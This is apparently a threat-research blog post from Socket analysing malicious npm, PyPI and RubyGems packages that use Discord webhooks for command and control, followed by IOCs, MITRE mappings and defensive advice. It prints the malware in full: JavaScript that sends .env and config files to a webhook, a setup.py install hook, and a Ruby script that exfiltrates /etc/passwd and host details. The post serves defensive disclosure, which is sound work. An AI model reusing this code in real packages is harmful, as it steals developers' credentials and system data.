Socket’s Threat Research Team continuously observes and identifies malicious packages leveraging Discord as command and control (C2) to exfiltrate data to threat actor-controlled servers. Threat actors historically have been more likely to use their own, controlled, command and control (C2) server. However, Socket’s Threat Research team has observed attackers adopting new and creative approaches to data exfiltration, as seen in the following examples from npm, PyPI, and RubyGems.org.
What is a Discord Webhook?#
Discord webhooks are HTTPS endpoints. They embed a numeric ID and secret token, and possession of the URL is enough to post payloads into a target channel. To test if the webhooks are live, researchers can see what the POST response is.…
Socket’s Threat Research Team continuously observes and identifies malicious packages leveraging Discord as command and control (C2) to exfiltrate data to threat actor-controlled servers. Threat actors historically have been more likely to use their own, controlled, command and control (C2) server. However, Socket’s Threat Research team has observed attackers adopting new and creative approaches to data exfiltration, as seen in the following examples from npm, PyPI, and RubyGems.org.
What is a Discord Webhook?#
Discord webhooks are HTTPS endpoints. They embed a numeric ID and secret token, and possession of the URL is enough to post payloads into a target channel. To test if the webhooks are live, researchers can see what the POST response is. Typically, if it is live, the test will either return a 204 No Content
on success, or a 200 OK
with ?wait=true
. 401 Unauthorized
signals a bad token, 404 Not Found
indicates a deleted/invalid webhook, and 429 Too Many Requests
reflects rate limiting with a retry_after
hint. Importantly, webhook URLs are effectively write-only. They do not expose channel history, and defenders cannot read back prior posts just by knowing the URL.
npm#
Our npm example is a package named mysql-dumpdiscord.
const fs = require("fs");
const path = require("path");
//discord URL
const WEBHOOK_URL = "https://discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_";
const FILES = ["config.json", "config.js",".env","ayarlar.json", "ayarlar.js"];
async function sendToWebhook(filePath) {
try {
const fullPath = path.resolve(filePath);
if (!fs.existsSync(fullPath)) return;
const content = fs.readFileSync(fullPath, "utf-8");
const message =
content.length > 1900
? `📄 Dosya: \\`${filePath}\\`\\n\\`\\`\\`txt\\n${content.slice(
0,
1900
)}...\\n\\`\\`\\`\\n⚠️ Dosya çok büyük, kısaltıldı.`
: `📄 Dosya: \\`${filePath}\\`\\n\\`\\`\\`js\\n${content}\\n\\`\\`\\``;
await fetch(WEBHOOK_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ content: message }),
})
} catch (err) {
console.error("❌ Hata:", err.message);
}
}
FILES.forEach((file) => sendToWebhook(file));
module.exports = {};
This code targets configuration files, like config.json
, .env
, ayarlar.js
,and ayarlar.json
. Notably, Ayarlar
is the Turkish word for “settings” or “configuration.” Developers often use this file to store application settings, user preferences, API keys and credentials, database connection strings, and more.
For each filename, the code resolves to an absolute path, reads the file contents, and then builds a Discord message.
If the content is longer than 1,900 characters, it sends the first 1,900 and appends the message with File is too big, it was shortened
, but in Turkish. Otherwise, it sends the file with the full content in a code block.
Next, it POSTs that message as JSON to the Discord webhook, https[://]discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_
, essentially using the Discord webhook as an exfiltration point.
It’s a simple file exfiltration dropper, but it uses Discord instead of its own C2 server.
This second example in nodejs.discord
is even simpler.
const { webhookClient } = require("discord.js");
class DiscordWebhook {
async connect(...messages) {
const content = messages.join(" ");
try {
await new WebhookClient({ url: 'https://discord[.]com/api/webhooks/1323713674971713676/uTpNuxUSkn3puz8OqBnPanCqmFPfX-2PSbVuglMDJgl-05NiYb7sjeXkgJb3wK-9kvvl' }).send({ content });
} catch (error) {
return
}
}
}
module.exports = DiscordWebhook;
This module is a tiny wrapper that tries to send text to a Discord channel via a hard-coded webhook URL. The DiscordWebhook.connect(...messages)
method joins any arguments into a single string and then calls new WebhookClient({ url: '<webhook>' }).send({ content })
, posting the text to that webhook; any error (including network failures) is silently swallowed due to the try/catch
. Because the webhook URL is embedded, anything passed in can be transmitted to a third party. Although this mechanism is not necessarily malicious, as it is sometimes used for app logging/alerts, it can also act as a simple exfiltration sink.
PyPI#
Threat actors also use Discord as a C2 server in Python packages.
Here is our example:
from setuptools import setup
from setuptools.command.install import install
import urllib.request
import json
#malicious discord c2
WEBHOOK_URL = "https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl"
class RunPayload(install):
def run(self):
try:
data = json.dumps({"content": "💥 Ai đó vừa cài gói `maladicus` qua pip!"}).encode('utf-8')
req = urllib.request.Request(WEBHOOK_URL, data=data, headers={'Content-Type': 'application/json'})
urllib.request.urlopen(req)
except Exception as e:
pass # Im lặng khi lỗi
install.run(self)
setup(
name='malinssx',
version='0.0.1',
description='test webhook',
py_modules=[],
cmdclass={'install': RunPayload},
)
The cyber threat actor here self defines the package as a test webhook, and the package has been removed from PyPI, but it works well as an example to understand Discord in python due to its simplicity.
This file overrides the setuptools install
command to run a post-install side effect that sends a message to a Discord webhook. During pip install
, RunPayload.run()
JSON-encodes {"content": "💥 Ai đó vừa cài gói maladicus qua pip!"}
. From Vietnamese, this translates to: “Someone just installed the maladicus
package via pip!” It then POSTs it to the hardcoded WEBHOOK_URL
using urllib.request
. Any errors are silently ignored (except …: pass
), then it calls the normal install.run(self)
to finish installation. Practically, this means anyone who installs the package triggers an HTTP request to a third-party Discord channel, which can be used for simple telemetry or as an exfiltration mechanism. Since it executes during install without user consent, it is a classic supply chain risk.
The comments defining the package as a test webhook were in English, not Vietnamese. We also found identical packages (malicus and maliinn) by the same threat actor, sdadasda232323
, with the same Discord URL.
RubyGems.org#
Our Ruby example, found in the sqlcommenter_rails gem, exfiltrates a bit more information, but is simple to understand.
require 'etc'
require 'socket'
require 'json'
require 'net/http'
require 'uri'
# Read the /etc/passwd file
begin
passwd_data = File.read('/etc/passwd')
rescue StandardError => e
passwd_data = "Error reading /etc/passwd: #{e.message}"
end
# Get current time
current_time = Time.now.utc.iso8601
# Get package metadata
gem_name = 'sqlcommenter_rails'
gem_version = '0.1.0'
gem_metadata = {
'name' => gem_name,
'version' => gem_version,
'summary' => 'Test gem for dependency confusion',
'author' => 'Your Name'
}
# Get DNS servers (Linux-specific, may not work on all systems)
begin
dns_servers = File.readlines('/etc/resolv.conf').select { |line| line.start_with?('nameserver') }.map { |line| line.split[1] }
dns_servers = dns_servers.empty? ? ['Unknown'] : dns_servers
rescue StandardError
dns_servers = ['Unknown']
end
# Function to get public IP using api.ipify.org
def get_public_ip
uri = URI('https://api.ipify.org')
response = Net::HTTP.get_response(uri)
if response.is_a?(Net::HTTPSuccess)
response.body
else
"Error getting public IP: #{response.message}"
end
rescue StandardError => e
"Error getting public IP: #{e.message}"
end
# Collect all tracking data
public_ip = get_public_ip
tracking_data = {
'package' => gem_name,
'current_dir' => Dir.pwd,
'home_dir' => Dir.home,
'hostname' => Socket.gethostname,
'username' => Etc.getlogin || 'Unknown',
'dns_servers' => dns_servers,
'resolved' => nil, # RubyGems doesn't have a direct equivalent to packageJSON.___resolved
'version' => gem_version,
'package_json' => gem_metadata,
'passwd_content' => passwd_data,
'time' => current_time,
'originating_ip' => public_ip
}
# Add custom notes
custom_notes = "Successful R_C_E via dependency confusion."
# Format the message for readability
formatted_message = <<~MESSAGE
Endpoint: https://example.com/endpoint
All Information:
- Package: #{tracking_data['package']}
- Current Directory: #{tracking_data['current_dir']}
- Home Directory: #{tracking_data['home_dir']}
- Hostname: #{tracking_data['hostname']}
- Username: #{tracking_data['username']}
- DNS Servers: #{tracking_data['dns_servers'].to_json}
- Resolved: #{tracking_data['resolved']}
- Version: #{tracking_data['version']}
- Package JSON: #{tracking_data['package_json'].to_json(indent: 2)}
- /etc/passwd Content: #{tracking_data['passwd_content']}
- Time: #{tracking_data['time']}
- Originating IP: #{tracking_data['originating_ip']}
Custom Notes:
#{custom_notes}
MESSAGE
# Output to console
puts formatted_message
# Send to Discord Webhook
uri = URI('https://discord[.]com/api/webhooks/1410258094511882250/fPTbDPbFfrSaOKDwXDfeqfwlKlhdS5tpev8nD7giRFhAldmRpJaGlI6Y5IWqOpdxYNbx')
https = Net::HTTP.new(uri.host, uri.port)
https.use_ssl = true
request = Net::HTTP::Post.new(uri.path, { 'Content-Type' => 'application/json' })
request.body = { content: formatted_message }.to_json
begin
response = https.request(request)
rescue StandardError => e
# Silent error handling
end
This Ruby script collects host information and ships it to a hard-coded Discord webhook. It reads /etc/passwd
, grabs DNS servers from /etc/resolv.conf
, hostname, current user, current/home directories, package metadata, and calls api.ipify.org
to learn the machine’s public IP. It formats everything, including the full /etc/passwd
contents, into a multi-line message, prints it to stdout, then POSTs the same text as JSON to the webhook using Net::HTTP
over TLS. Any network errors during the send are silently swallowed.
Outlook and Recommendations#
Abuse of Discord webhooks as C2 matters because it flips the economics of supply chain attacks. By being free and fast, threat actors avoid hosting and maintaining their own infrastructure. Also, they often blend in to regular code and firewall rules, allowing exfiltration even from secured victims. Webhooks require no authentication beyond a URL, ride over HTTPS to a popular domain many organizations allow by default, and look like ordinary JSON posts, so simple domain or signature blocking rarely catches them.
When paired with install-time hooks or build scripts, malicious packages with Discord C2 mechanism can quietly siphon .env
files, API keys, and host details from developer machines and CI runners long before runtime monitoring ever sees the app.
Already, we have seen attacks use other webhooks from services like Telegram, Slack, and GitHub, which similarly make traditional IOC-based detection less effective and shift the focus toward behavioral detection.
Teams should treat webhook endpoints as potential data-loss channels, enforce egress controls and allow-lists, pin and vet dependencies (lockfiles, provenance/SLSA), scan PRs and installs for network calls and secrets access, and rotate/least-privilege developer credentials — because a single compromised package can exfiltrate at scale across npm, PyPI, RubyGems, and other ecosystems in minutes.
Socket’s security tooling is built to catch exactly these Discord-style exfiltration patterns before they land. The Socket GitHub App analyzes pull requests in real time for newly introduced risks like hard-coded webhook URLs, outbound network calls, or install-time hooks. The Socket CLI enforces the same checks during npm/pip/gem
installs to block malicious packages at the gate. Socket Firewall blocks known malicious packages before the package manager fetches them, including transitive dependencies, by mediating dependency requests; use it alongside the CLI for behavior-level gating. The Socket browser extension flags suspicious packages as you browse registries, highlighting known malware verdicts and typosquatting. For AI-assisted coding, Socket MCP warns when code assistants recommend risky or hallucinated dependencies, especially critical as threat actors pivot to webhook-based C2 and secrets harvesting.
Previous Research Covering Unique Ways Threat Actors Use Discord:#
- Malicious PyPI Package Targets Discord Developers with Remote Access Trojan
- Two Typosquatting Python Packages Exploit Discord CDN to Deploy Malicious Payloads for Data Theft and System Manipulaton
- Silent Discord Raider: ’Blank Grabber’ Python Package Steals Info from Discord and TelegramIndicators of Compromise (IOCs)
Malicious Packages
Threat Actor Aliases:
Discord C2 Endpoints :
https://discord[.]com/api/webhooks/1410983383676227624/KArVBMhnq29RvB_if2-eE5ptf2J6P00qGD-amGrPdejhXJZ-4D-Apl5MWBaOFIsEVlY_
https://discord[.]com/api/webhooks/1323713674971713676/uTpNuxUSkn3puz8OqBnPanCqmFPfX-2PSbVuglMDJgl-05NiYb7sjeXkgJb3wK-9kvvl
https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl
https://discord[.]com/api/webhooks/1388446357345534073/wbKG-um_NnL_OcWryP5tQppLK0bTCehqvB6RVUoqG5h01zSKsWEJz2aCwSg0-0nBYbgl
https://discord[.]com/api/webhooks/138...
https://discord[.]com/api/webhooks/1410258094511882250/fPTbDPbFfrSaOKDwXDfeqfwlKlhdS5tpev8nD7giRFhAldmRpJaGlI6Y5IWqOpdxYNbx
MITRE ATT&CK#
- T1005 — Data from Local System
- T1016 — System Network Configuration Discovery
- T1020 — Automated Exfiltration
- T1033 — Account Discovery
- T1059 — Command and Scripting Interpreter
- T1059.006 — Command and Scripting Interpreter: Python
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1071.001 — Application Layer Protocol: Web Protocols
- T1082 — System Information Discovery
- T1119 — Automated Collection
- T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
- T1552.001 — Unsecured Credentials: Credentials In Files
- T1567 — Exfiltration Over Web Service